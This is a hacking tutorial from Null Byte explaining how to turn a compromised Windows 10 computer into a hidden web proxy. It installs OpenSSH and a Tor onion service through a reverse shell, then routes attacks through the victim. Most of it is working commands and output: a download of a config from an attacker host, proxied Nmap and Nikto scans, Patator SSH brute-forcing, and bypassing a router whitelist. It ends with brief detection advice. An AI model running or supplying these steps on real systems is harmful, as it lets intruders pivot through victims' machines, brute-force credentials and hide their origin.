Hacking Windows 10: How to Turn Compromised Windows PCs into Web Proxies « Null Byte :: WonderHowTo

A hacker with privileged access to aWindows 10computer can configure it to act as a web proxy, which allows the attacker to target devices and services on the networkthroughthe compromised computer. The probes and attacks appear to originate from the Windows 10 computer, making it difficult to detect the attacker's actual location.The attack works with an OpenSSH server andTor. In newer versions of Windows 10, an SSH server may already be installed and running, making it that much easier for attackers to abuse the service.While Tor is used in my example, other tools likengrokandServeocan probably act as substitutes. However, these services haven't been tested, primarily because Tor connections are encrypted and private, making it a safer solution to transmit sensitive information.Don't Miss:Set Up an SSH Server with Tor to Hide It from Shodan & HackersWhy Would Someone Do This to My Computer?There's no telling what a black hat can do with a Windows 10 device acting as a private proxy. If this happens to your computer, there's a good chance you're not the hacker's primary target. In corporate environments, the compromised device would act as an infiltration system, allowing the attacker to target other people and machines on the company network.With home networks, hackers may use the computer as a web proxy to conduct fraudulent credit card transactions, denial-of-service attacks, or torrent pirated content. The illegal activity appears as if it's originating from your Windows 10 device, putting you in great legal danger.For white hat penetration testers, there are benefits to setting this up. For example, it would typically be challenging to use tools likeNikto,Nmap,Patator,curl, andTheHarvesterdirectly from the compromised device. With a proxy, these tools can be usedthroughthe Windows 10 device, opening up many opportunities to pivot to other devices without actually connecting to the target network.Don't Miss:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowAttack Scenario RequirementsYou'll need a few things for this particular method to work.Remote access: This article assumes some degree of remote access (i.e., backdoor) has been established. Remote access can be acquired usingMouseJack keystroke injections,USB Rubber Ducky payloads,physically backdooring devices,USB dead drop attacks, and other methods ofsocial engineering.Admin privileges: If OpenSSH isn't installed on the target Windows 10 operating system, admin (i.e., root) privileges will be required to install and set it up. This requirement is mostly conditional as some newer versions of Windows 10 have SSH servers installed and running already.Account password: The user'saccount password is requiredto log into the SSH server after it's been set up. If the elevated shell were acquired without learning the user's password, it would be possible to dump password hashes and brute-force them offline. Alternatively, it may be possible tocreate a new userremotely. It may also be possible to configure the OpenSSH server to allow logins without a password. Both of these methods are untested, however, and beyond the scope of this article. For now, the password to thealready compromised Windows 10 account is required.Important NoteIn this guide, code blocks that begin with>indicate the command should be executed with PowerShell on the Windows 10 system (i.e., theNetcatbackdoor). Code blocks that begin with~$indicate aKali Linuxcommand execution.Is OpenSSH Already Installed & Running?This attack relies on an SSH server being installed. The SSHserveris different from the SSHclientfound in most versions of Windows 10. If OpenSSH is already installed, most of the below attack can be executed without admin (root) privileges. If OpenSSH is not installed, however, admin privileges are required to install it.Below are several commands that can be used to determine if OpenSSH is already installed and running in the background.For starters, check to see if the OpenSSH directory exists. If no directory exists, SSH probably isn't installed.> ls "C:\Program Files\OpenSSH\"TheGet-NetTCPConnectioncommand can quickly determine which service are in a listening state and the occupied port numbered. We can see ports22, the default SSH port is in a listening state on this computer.> Get-NetTCPConnection -State Listen

LocalAddress                        LocalPort RemoteAddress                       RemotePort State       AppliedSetting
------------                        --------- -------------                       ---------- -----       --------------
::                                  49676     ::                                  0          Listen
::                                  7680      ::                                  0          Listen
::                                  445       ::                                  0          Listen
::                                  135       ::                                  0          Listen
::                                  22        ::                                  0          Listen
0.0.0.0                             49676     0.0.0.0                             0          Listen
0.0.0.0                             5040      0.0.0.0                             0          Listen
0.0.0.0                             135       0.0.0.0                             0          Listen
0.0.0.0                             22        0.0.0.0                             0          ListenThe default port number for a given service can be changed to an arbitrary value. So the output isn't 100% definitive.Withnetstat, the service using a given port can be identified. However, netstat commands took much longer to produce an output than Get-NetTCPConnection commands. In some cases, netstat took several minutes to complete before delivering the output to the Kali system. Somemore involved Get-NetTCPConnection commandscan be used to show which services are occupying ports, but this seemed like an excellent opportunity to show both options.> netstat -ba

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:22             DESKTOP-U4E0WK3:0      LISTENING
 [sshd.exe]
  TCP    0.0.0.0:135            DESKTOP-U4E0WK3:0      LISTENING
  RpcSs
 [svchost.exe]
  TCP    0.0.0.0:445            DESKTOP-U4E0WK3:0      LISTENING
 Can not obtain ownership information
  TCP    0.0.0.0:5040           DESKTOP-U4E0WK3:0      LISTENING
  CDPSvc
 [svchost.exe]
  TCP    0.0.0.0:7680           DESKTOP-U4E0WK3:0      LISTENING
  DoSvc
 [svchost.exe]In the above output, we can clearly seesshd.exeis occupying port22.Finally,Get-Processcan be used to show processes running in the background. The processes are alphabetized. Scrolling down to theSsection, we'll find thesshdprocess name.> Get-Process

Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    297      19     6760      24328       0.27   6104   1 ApplicationFrameHost
    397      23    18056      50384       3.94   3784   0 aswEngSrv
    701      24    19592      38364      12.05   3104   0 aswidsagent
   4115      83    69404      40016      24.70   2336   0 AvastSvc
   1888      44    22444      35008       4.30   1876   1 AvastUI

...

    430      25     5924      15460       0.25   2628   0 spoolsv
     98      11     1728       6664       0.05   7388   0 sshd
    252      10     2524       7904       0.48    488   0 svchost
    156       9     1852       7860       0.13    520   0 svchost
     79       5     1040       3912       0.03    908   0 svchostAgain, if SSH is not found on the target system, an elevated (admin) backdoor is required to perform many of the below commands. If SSH is already running, skip toStep 2.Step 1: Set Up SSH on the Target Windows 10 ComputerAll of the following commands were executed through a reverse shell. This can be set up with Netcat listeners. Compromising a Windows 10 system to this extent has been covered in the following articles:Break into Windows 10 Without a PasswordBackdoor Windows 10 with Android & USB Rubber DuckyHack Windows 10 with USB Dead Drop AttacksInject Keystrokes into Logitech Keyboards1. Download the OpenSSH Installer ScriptIn my tests, before executingInvoke-WebRequest(iwr) to download the OpenSSH binaries, theSecurityProtocolhad to be defined using the below command.> [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12Download the OpenSSH-Win64.zip from the GitHub. At the time of this writing, v7.9.0.0p1-Beta is themost recent stable release. This download can take one or two minutes to complete, depending on the network speed of the Windows 10 system. The Netcat terminal won't respond or show a progress bar during this time. Be patient here.> iwr https://github.com/PowerShell/Win32-OpenSSH/releases/download/v7.9.0.0p1-Beta/OpenSSH-Win64.zip -o $env:temp\OpenSSH-Win64.zip2. Unzip the OpenSSH ArchivePowerShell versions greater than 5.1 have a handy decompression function calledExpand-Archivethat can be used to unzip the ffmpeg.zip in the target's temp directory quickly.> Expand-Archive -Path "$env:temp\OpenSSH-Win64.zip" -DestinationPath 'C:\Program Files\OpenSSH' -ForceExpand-Archive will take the input file ($env:temp\OpenSSH-Win64.zip) and unzip it into (-DestinationPath) a new folder called C:\Program Files\OpenSSH\.3. Execute the OpenSSH Install ScriptInstall SSH server using the provided "install-sshd.ps1" script. In no errors occur after a few seconds, the terminal will report a successful installation. In one test, I got an error ("NoServiceFoundForGivenName"), but this didn't seem to cause the installation to fail.> & "C:\Program Files\OpenSSH\OpenSSH-Win64\install-sshd.ps1"

[SC] SetServiceObjectSecurity SUCCESS
[SC] ChangeServiceConfig2 SUCCESS
[SC] ChangeServiceConfig2 SUCCESS
sshd and ssh-agent services successfully installed4. Start the OpenSSH ServiceAfter being installed, the SSH server will not start automatically. Nor will it automatically start when the system reboots. The belownetcommand is required to start the SSH server.> net start sshd

The OpenSSH SSH Server service is starting..
The OpenSSH SSH Server service was started successfully.5. Verify the OpenSSH Server Is RunningTo further verify the SSH server is running, useGet-NetTCPConnectionorGet-Processas shown previously. Notice port 22 in a listening state.> Get-NetTCPConnection -State Listen

LocalAddress                        LocalPort RemoteAddress                       RemotePort State       AppliedSetting
------------                        --------- -------------                       ---------- -----       --------------
::                                  49676     ::                                  0          Listen
::                                  7680      ::                                  0          Listen
::                                  445       ::                                  0          Listen
::                                  135       ::                                  0          Listen
::                                  22        ::                                  0          Listen
0.0.0.0                             49676     0.0.0.0                             0          Listen
0.0.0.0                             5040      0.0.0.0                             0          Listen
0.0.0.0                             135       0.0.0.0                             0          Listen
0.0.0.0                             22        0.0.0.0                             0          ListenStep 2: Set Up Tor on the Target Windows 10 ComputerWith the OpenSSH server up and running, Tor can be installed.1. Download the Tor ZIPTo start, download the ZIP containing precompiled Tor binaries and DLLs. Currently, version tor-win32-0.3.5.8.zip is the latest stable release. In the future, it may be desirable tocheck the Tor Project website for newer releases. Grab the "Windows Expert Bundle" URL, not the tar.gz source file.> iwr 'https://www.torproject.org/dist/torbrowser/8.0.9/tor-win32-0.3.5.8.zip' -o $env:temp\tor.zip2. Extract the Tor ArchiveExpand-Archive can be used again to decompress the ZIP into (-DestinationPath) thetemp directory.> Expand-Archive -Path $env:TEMP\tor.zip -DestinationPath $env:TEMP\tor\When that's done, change (cd) into the new tor\ directory.> cd $env:TEMP\tor\Tor\Use thelscommand to list the directories contents.> ls

    Directory: C:\Users\USERNAME\AppData\Local\Temp\tor\Tor

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/21/2019   3:31 PM        2585371 libeay32.dll
-a----        2/21/2019   3:31 PM         860748 libevent-2-1-6.dll
-a----        2/21/2019   3:31 PM         601445 libevent_core-2-1-6.dll
-a----        2/21/2019   3:31 PM         562811 libevent_extra-2-1-6.dll
-a----        2/21/2019   3:31 PM         991228 libgcc_s_sjlj-1.dll
-a----        2/21/2019   3:31 PM         278533 libssp-0.dll
-a----        2/21/2019   3:31 PM         511930 libwinpthread-1.dll
-a----        2/21/2019   3:31 PM         788352 ssleay32.dll
-a----        2/21/2019   3:31 PM        1007104 tor-gencert.exe
-a----        2/21/2019   3:31 PM        3794944 tor.exe
-a----        2/21/2019   3:31 PM         107520 zlib1.dll3. Create the Torrc Configuration FileIn thelsoutput, notice there's no "torrc" file. Torrc is the configuration file with instructions for how Tor should behave. In this case, we want Tor to create a new onion service address. Anyone who hasset up a Tor onion servicebefore will recall configuring theHiddenServiceDirandHiddenServicePortin the torrc file. These values are responsible for the directory where Tor will store information about that onion service and port used by the onion service, respectively.In my tests, there were some annoyingnewline errorsthat occurred when the torrc file was created withechoand other PowerShell file creation cmdlets. Ultimately, it was easier to host the desired torrc file on a remote server and simply download it with PowerShell.First, verify the target's username using the$envvariable in PowerShell. This username is needed for the following torrc configuration file.> echo $env:username

tokyoneonNow, in Kali or avirtual private server, create a file called "torrc" and save the below torrc configuration to the file. Alternatively, this file can be hosted on afile-sharing serveror GitHub.HiddenServiceDir C:\Users\USERNMAE\AppData\Local\Temp\tor\Tor\HS\
HiddenServicePort 22 127.0.0.1:224. Download the Torrc from Attacker's SystemTo make the torrc file downloadable, set up a simple Python3 web server to make the file accessible to anyone on the network and internet.~$ python3 -m http.server 80In Windows 10, the Invoke-WebRequest command can be used again to download the torrc configuration file from the attacker's system.> iwr attacker.com/torrc -o torrcNow, uselsto verify the torrc file was saved correctly.> ls

    Directory: C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        2/21/2019   3:31 PM        2585371 libeay32.dll
-a----        2/21/2019   3:31 PM         860748 libevent-2-1-6.dll
-a----        2/21/2019   3:31 PM         601445 libevent_core-2-1-6.dll
-a----        2/21/2019   3:31 PM         562811 libevent_extra-2-1-6.dll
-a----        2/21/2019   3:31 PM         991228 libgcc_s_sjlj-1.dll
-a----        2/21/2019   3:31 PM         278533 libssp-0.dll
-a----        2/21/2019   3:31 PM         511930 libwinpthread-1.dll
-a----        2/21/2019   3:31 PM         788352 ssleay32.dll
-a----        2/21/2019   3:31 PM        1007104 tor-gencert.exe
-a----        2/21/2019   3:31 PM        3794944 tor.exe
-a----         5/7/2019   9:03 PM             99 torrc
-a----        2/21/2019   3:31 PM         107520 zlib1.dllThen,catto read the file contents.> cat torrc

HiddenServiceDir C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\HS\
HiddenServicePort 22 127.0.0.1:225. Start the Tor ProcessFinally, start the tor.exe with the below command. After executing the command, wait for the Netcat terminal to read "Bootstrapped 100%: Done." This will indicate it has started properly. PressEnteron the keyboard to get back into an interactive Netcat shell.> Start-Process -NoNewWindow -FilePath .\tor.exe -ArgumentList '-f','torrc'

PS C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor> May 08 10:43:43.090 [notice] Tor 0.3.5.8 (git-5030edfb534245ed) running on Windows 8 [or later] with Libevent 2.1.8-stable, OpenSSL 1.0.2q, Zlib 1.2.11, Liblzma N/A, and Libzstd N/A.
May 08 10:43:43.152 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning
May 08 10:43:43.699 [notice] Read configuration file "C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\torrc".
May 08 10:43:43.715 [warn] Path for GeoIPFile (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted?
May 08 10:43:43.715 [warn] Path for GeoIPv6File (<default>) is relative and will resolve to C:\Users\tokyoneon\AppData\Local\Temp\tor\Tor\<default>. Is this what you wanted?
May 08 10:43:43.762 [notice] Opening Socks listener on 127.0.0.1:9050
May 08 10:43:43.762 [notice] Opened Socks listener on 127.0.0.1:9050
May 08 10:43:43.000 [notice] Bootstrapped 0%: Starting
May 08 10:43:43.000 [notice] Starting with guard context "default"
May 08 10:43:45.000 [notice] Bootstrapped 5%: Connecting to directory server
May 08 10:43:45.000 [notice] Bootstrapped 10%: Finishing handshake with directory server
May 08 10:43:48.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection
May 08 10:43:49.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus
May 08 10:43:50.000 [notice] Bootstrapped 25%: Loading networkstatus consensus
May 08 10:43:56.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.
May 08 10:43:57.000 [notice] Bootstrapped 40%: Loading authority key certs
May 08 10:44:00.000 [notice] The current consensus has no exit nodes. Tor can only build internal paths, such as paths to onion services.
May 08 10:44:00.000 [notice] Bootstrapped 45%: Asking for relay descriptors for internal paths
May 08 10:44:00.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)
May 08 10:44:04.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/6680, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of end bw (no exits in consensus, using mid) = 0% of path bw.)
May 08 10:44:05.000 [notice] Bootstrapped 50%: Loading relay descriptors for internal paths
May 08 10:44:06.000 [notice] The current consensus contains exit nodes. Tor can build exit and internal paths.
May 08 10:44:13.000 [notice] Bootstrapped 56%: Loading relay descriptors
May 08 10:44:15.000 [notice] Bootstrapped 64%: Loading relay descriptors
May 08 10:44:16.000 [notice] Bootstrapped 70%: Loading relay descriptors
May 08 10:44:18.000 [notice] Bootstrapped 76%: Loading relay descriptors
May 08 10:44:18.000 [notice] Bootstrapped 80%: Connecting to the Tor network
May 08 10:44:19.000 [notice] Bootstrapped 85%: Finishing handshake with first hop
May 08 10:44:23.000 [notice] Bootstrapped 90%: Establishing a Tor circuit
May 08 10:44:28.000 [notice] Bootstrapped 100%: Done

<press Enter here>6. Find the Onion AddressAfter Tor has started, a new directory called "HS" would have been created. In this directory, the hostname file containing the onion address can be found. Usecatto view the file contents.> cat HS\hostname

w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onionStep 3: Connect to the OpenSSH Server Through TorBack in Kali Linux again, Tor will need to be installed to interact with the new onion service that's running on the Windows 10 computer.1. Install Tor in Kali LinuxTor can be installed in Kali with theapt-getinstall -y torcommand, but it's better to install it from the Tor Project repository. This installation has been covered in a recent Null Byte article onhiding SSH services from Shodan. Be sure to reference that for a detailed installation walkthrough.More Info:How to Hide SSH Services from Shodan & Hackers2. Test the SSH ConnectionBefore we get into using hacking tools while using the Windows 10 computer as a proxy, let's make sure the SSH server can be reached from the Kali system. Thetorsockscommand should've been included in the Tor package installation. If it wasn't, install it with the below command.~$ apt-get install torsocks

Reading package lists... Done
Building dependency tree
Reading state information... Done
torsocks is already the newest version (2.3.0-2).
0 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.Then, usetorsockswithsshto connect to the SSH server running on the target Windows 10 device.~$ torsocks ssh -v -p22 user@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onionIt can take up to 60 seconds to establish a connection the first couple of times. This slowness is common with new onion services and coupling SSH with Tor. If the SSH connection is established, that's great. Everything is working as expected. Typeexitor pressCtrl+dto exit the SSH session.3. Enable the Proxy OptionOpen a new terminal and use the below command to create aSOCKS5 proxyport on 1337. This port number is arbitrary and can be changed to anything below 65535.~$ torsocks ssh -D 1337 -C -p22 tokyoneon@w6ngcsz3qryotaq5imneza5edidxvmr6fbefe4lxl3wabjagxagxdaqd.onion

Microsoft Windows [Version 10.0.17134.706]
(c) 2018 Microsoft Corporation. All rights reserved.

tokyoneon@DESKTOP-U4E0WK3 C:\Users\tokyoneon>A new SSH terminal will appear here. This is not meant to be interacted with. As long as this terminal is open, the proxy will remain available. In Kali, verify the proxy port was opened using thesscommand to view available listening ports. Notice the 1337 port on 127.0.0.1 — this can be configured with hacking tools and web browsers to proxy requeststhroughthe hacked Windows 10 computer.~$ ss -tpl

State         Recv-Q        Send-Q                 Local Address:Port                   Peer Address:Port
LISTEN        0             128                        127.0.0.1:1337                        0.0.0.0:*            users:(("ssh",pid=5798,fd=4))Step 4: Configure Hacking Tools to Use the ProxyNormally,SOCKS5 proxiesare used tobypass content filtersoract as virtual private server alternatives. In this case, it's used to route hacking tools through a Windows 10 computer.Many tools can be configured to work with this proxy.Proxychainsis a good example. With proxychains, it's possible to proxy many command line tools through the SSH connection.1. Install ProxychainsMake sureproxychainsis installed in Kali Linux. This can be accomplished with the below installation command.~$ apt-get install proxychainsBy default, Proxychains will be configured to anonymize proxy requests with Tor on port 9050. We're not using proxychains for this purpose, so the configuration file will need to be modified.Usenanoto open the proxychains.conf file. Change the very last line in the file from "socks4 127.0.0.1 9050" to "socks5 127.0.0.1 1337" and exit nano.~$ nano /etc/proxychains.conf2. Proxy Nmap ScansMany people may attempt to perform Nmap scans through the Windows 10 computer as soon as creating the SOCKS5 proxy. Keep in mind, Nmap haslimited support for proxy functionalitiesbuilt in. Not all of Nmap's scan types will be supported, even while coupled with proxychains.~$ proxychains nmap -p80,22,21,443,8080,8443 -sS -T5 192.168.1.1/24

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-08 19:25 UTC
Nmap scan report for 192.168.1.183
Host is up (0.00093s latency).

PORT     STATE    SERVICE
21/tcp   filtered ftp
22/tcp   filtered ssh
80/tcp   filtered http
443/tcp  filtered https
8080/tcp filtered http-proxy
MAC Address: 16:BE:3F:F6:E1:22 (Hewlett Packard)

Nmap scan report for 192.168.1.225
Host is up (0.0023s latency).

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   open   ssh
80/tcp   closed http
443/tcp  closed https
8080/tcp open   http-proxy
MAC Address: 74:B3:4C:D2:33:A2 (Sony)

Nmap scan report for 192.168.1.1
Host is up (0.000044s latency).

PORT     STATE  SERVICE
21/tcp   closed ftp
22/tcp   closed ssh
80/tcp   open   http
443/tcp  closed https
8080/tcp closed http-proxy

Nmap done: 256 IP addresses (3 hosts up) scanned in 8.39 seconds3. Proxy Curl CommandsCurlis a powerful command line tool used to create different kinds of web requests with support for many different protocols and features. It can be useful for enumerating the kinds of web servers found on devices on the network. Unlike other many other tools, curl has built-in SOCKS5 support that can be invoked with the--proxyoption.~$ curl --proxy socks5://127.0.0.1:1337 -I 'http://192.168.1.225'

HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/3.6.8
Date: Thu, 09 May 2019 21:34:29 GMT
Content-type: text/html; charset=utf-8
Content-Length: 1387Curl with Proxychains works as expected as well.~$ proxychains curl http://192.168.1.225:8080

ProxyChains-3.1 (http://proxychains.sf.net)
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
</body>
</html>On the server-side, we can see the request was made from the 192.168.1.183 IP address. This is the IP address of the Windows 10 device — not the Kali system on another network somewhere else in the world.Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
192.168.1.183 - - [09/May/2019 21:51:51] "HEAD / HTTP/1.1" 200 -
192.168.1.183 - - [09/May/2019 21:51:58] "GET / HTTP/1.1" 200 -4. Proxy Patator Brute-Force AttacksPatator is a command line brute-forcing tool. With proxychains, Patator can be used to brute-force services through the Windows 10 computer. While untested, the very same syntax can be used with other brute-forcing tools likeHydraandMedusa.~$ proxychains patator ssh_login host=192.168.1.225 port=22 user=root password=FILE0 0=/tmp/simple_wordlist.txt -t 1

ProxyChains-3.1 (http://proxychains.sf.net)
INFO - Starting Patator v0.7 (https://github.com/lanjelot/patator) at 2019-05-08 20:51 UTC
INFO -
INFO - code  size    time | candidate                          |   num | mesg
INFO - -----------------------------------------------------------------------------
INFO - 1     22     5.921 | 123456                             |     1 | Authentication failed.
INFO - 1     22     5.496 | Abcdef123                          |     2 | Authentication failed.
INFO - 1     22     5.619 | a123456                            |     3 | Authentication failed.
INFO - 1     22     5.532 | little123                          |     4 | Authentication failed.
INFO - 1     22     5.640 | nanda334                           |     5 | Authentication failed.
INFO - 0     30     2.583 | tokyoneon                          |     6 | SSH-2.0-OpenSSH_7.9p1 Debian-5
INFO - 1     22     5.723 | abc12345                           |     7 | Authentication failed.
INFO - 1     22     5.501 | password                           |     8 | Authentication failed.
INFO - 1     22     5.567 | Pawerjon123                        |     9 | Authentication failed.On the server-side again, we can see the failed password guesses originating from the Windows 10 IP address (192.168.1.183). This is further verification that attacks coming from the Kali system are being properly routed through the Windows 10 computer.sshd[1353]: Failed password for root from 192.168.1.183 port 50148 ssh2
sshd[1353]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50148 ssh2 [preauth]
sshd[1353]: Disconnecting authenticating user root 192.168.1.183 port 50148: Too many authentication failures [preauth]
sshd[1353]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183  user=root
sshd[1353]: PAM service(sshd) ignoring max retries; 6 > 3
sshd[1358]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183  user=root
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: Failed password for root from 192.168.1.183 port 50149 ssh2
sshd[1358]: error: maximum authentication attempts exceeded for root from 192.168.1.183 port 50149 ssh2 [preauth]
sshd[1358]: Disconnecting authenticating user root 192.168.1.183 port 50149: Too many authentication failures [preauth]
sshd[1358]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183  user=root
sshd[1358]: PAM service(sshd) ignoring max retries; 6 > 3
sshd[1362]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.1.183  user=root
sshd[1362]: Failed password for root from 192.168.1.183 port 50150 ssh2
sshd[1362]: Accepted password for root from 192.168.1.183 port 50150 ssh25. Proxy theHarvester ScansTheHarvester is an information gathering tool intended for penetration testers in the early stages of red team engagements. It features the ability to perform virtual host verification, DNS enumeration, reverse domain searches, and IP lookups, as well as make Shodan queries.Don't Miss:How to Scrape Target Email Addresses with TheHarvester~$ proxychains theharvester -d nmap.org -l 200 -b bing,censys,yahoo

ProxyChains-3.1 (http://proxychains.sf.net)

*******************************************************************
*                                                                 *
* | |_| |__   ___    /\  /\__ _ _ ____   _____  ___| |_ ___ _ __  *
* | __| '_ \ / _ \  / /_/ / _` | '__\ \ / / _ \/ __| __/ _ \ '__| *
* | |_| | | |  __/ / __  / (_| | |   \ V /  __/\__ \ ||  __/ |    *
*  \__|_| |_|\___| \/ /_/ \__,_|_|    \_/ \___||___/\__\___|_|    *
*                                                                 *
* theHarvester Ver. 3.0.6                                         *
* Coded by Christian Martorella                                   *
* Edge-Security Research                                          *
* cmartorella@edge-security.com                                   *
*******************************************************************

found supported engines
[-] Starting harvesting process for domain: nmap.org

[-] Searching in Censys:
[-] Searching in Bing:
    Searching 50 results...
    Searching 100 results...
    Searching 150 results...
    Searching 200 results...
[-] Searching in Yahoo..
    Searching 0 results...
    Searching 10 results...
    Searching 190 results...
    Searching 200 results...

Harvesting results
No IP addresses found

[+] Emails found:
------------------
fyodor@nmap.org
dev@nmap.org
c@nmap.org

[+] Hosts found in search engines:
------------------------------------

Total hosts: 6

[-] Resolving hostnames IPs...

issues.nmap.org:45.33.49.119
research.nmap.org:71.6.152.72
scanme.nmap.org:45.33.32.156
svn.nmap.org:45.33.49.119
www.nmap.org:45.33.49.1196. Proxy Nikto ScansNikto is a simple web server scanner that examines a website and reports discovered vulnerabilities that can later be used to compromise the site.While Nikto has built-in support for HTTP proxies, it can't be used with this SOCKS5 proxy. I didn't test many of Nikto's options and arguments, but simple scans seemed to function properly. Readers are encouraged to experiment with this one before performing in a real scenario.Don't Miss:How to Scan for Vulnerabilities on Any Website Using Nikto~$ proxychains nikto -host 192.168.1.225 -port 8080 -nossl

ProxyChains-3.1 (http://proxychains.sf.net)
- Nikto v2.1.6
---------------------------------------------------------------------------
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
+ Target IP:          192.168.1.225
+ Target Hostname:    192.168.1.225
+ Target Port:        8080
+ Start Time:         2019-05-08 19:33:26 (GMT0)
---------------------------------------------------------------------------
+ Server: SimpleHTTP/0.6 Python/3.6.8
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK
|S-chain|-<>-127.0.0.1:1337-<><>-192.168.1.225:8080-<><>-OK7. Proxy Web Requests with FirefoxWith security-focused web services, it's possible to define blacklist and whitelist rules based on MAC and IP addresses. For example, this particular router will only allow the Windows 10 computer to access the router's gateway. Attempting to access 192.168.1.1 fromanyother devices on the network displays the following message.Now, it would be possible to spoof Kali's MAC and IP address to trick the router into letting us view the gateway. But it's also possible to use the SSH proxy to achieve the same goal.Open Firefox in Kali, and enterabout:preferencesinto the URL bar. In "General," click on the "Settings" button.Configure the proxy settings as shown below, then click "OK."Now, navigating to 192.168.1.1 to access the router is allowed because the router believes the requests are coming from the whitelisted Windows 10 device.This very same concept can be applied to websites like Twitter and Gmail, making it possible to access the target's accounts without raising too many red flags. These websites will see the origin (i.e., the IP address) of the login is identical to the IP address used by the Windows 10 computer.How to Protect Yourself (Conclusion)It's important to note that this demonstrates only one way an attacker can use a compromised computer as a proxy. In earlier conceptions of this article, the target's router and Windows 10 firewall were modified to allow port-forwarding and remote access. This would also allow an attacker to access the SSH server from anywhere in the world.Furthermore, admin privileges may not always be required. Tor, for example, can be downloaded and used without special permissions and can be configured to forward requests to any service or port on the network — without the use of SSH servers or SOCKS5 proxies.These attacks were tested and performed on fully-patched Windows 10 systems usingAvastandAVGantivirus software — so I can't recommend those as a solution. Readers will need to actively inspect running processes, search for shady software, and monitor traffic leaving their systems.1. Inspect Outgoing Traffic with WiresharkWiresharkis a great packet-capturing tool that can be used to observe packets leaving the network. If Tor is being used by an attacker, for example, the Tor server can be found onExoneraTor. Similarly, Netcat traffic will be easily detected in Wireshark captures.Wireshark capture of an IP address (server)used by Tor relay.2. Create Strict Firewall Rules with pfSenseWhilepfSenseinstallations can be a little involved and technical, it's an excellent open-source firewall solution.Image viaLawrence Systems/PC Pickup/YouTube3. Monitor Running Processes with Task ManagerThis solution isn't always entirely effective. Process names can be changed or spoofed, but a lazy hacker may leave these files name as the default (i.e., "tor.exe"), making them easier to detect on a compromised Windows 10 system. Below is an example of both an OpenSSH and Tor process running in the background, easily identified with the Windows 10 Task Manager.Stay vigilant. Never underestimate you're worth to a hacker, and continue to find new ways of protecting yourself. Follow me on Twitter@tokyoneon_if you enjoyed this article.Don't Miss:Use Microsoft.com Domains to Bypass FirewallsFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byTinh Khuong; Screenshots by tokyoneon/Null ByteRelatedHacking Windows 10:How to Hack uTorrent Clients & Backdoor the Operating SystemHacking Windows 10:How to Use SSH Tunnels to Forward 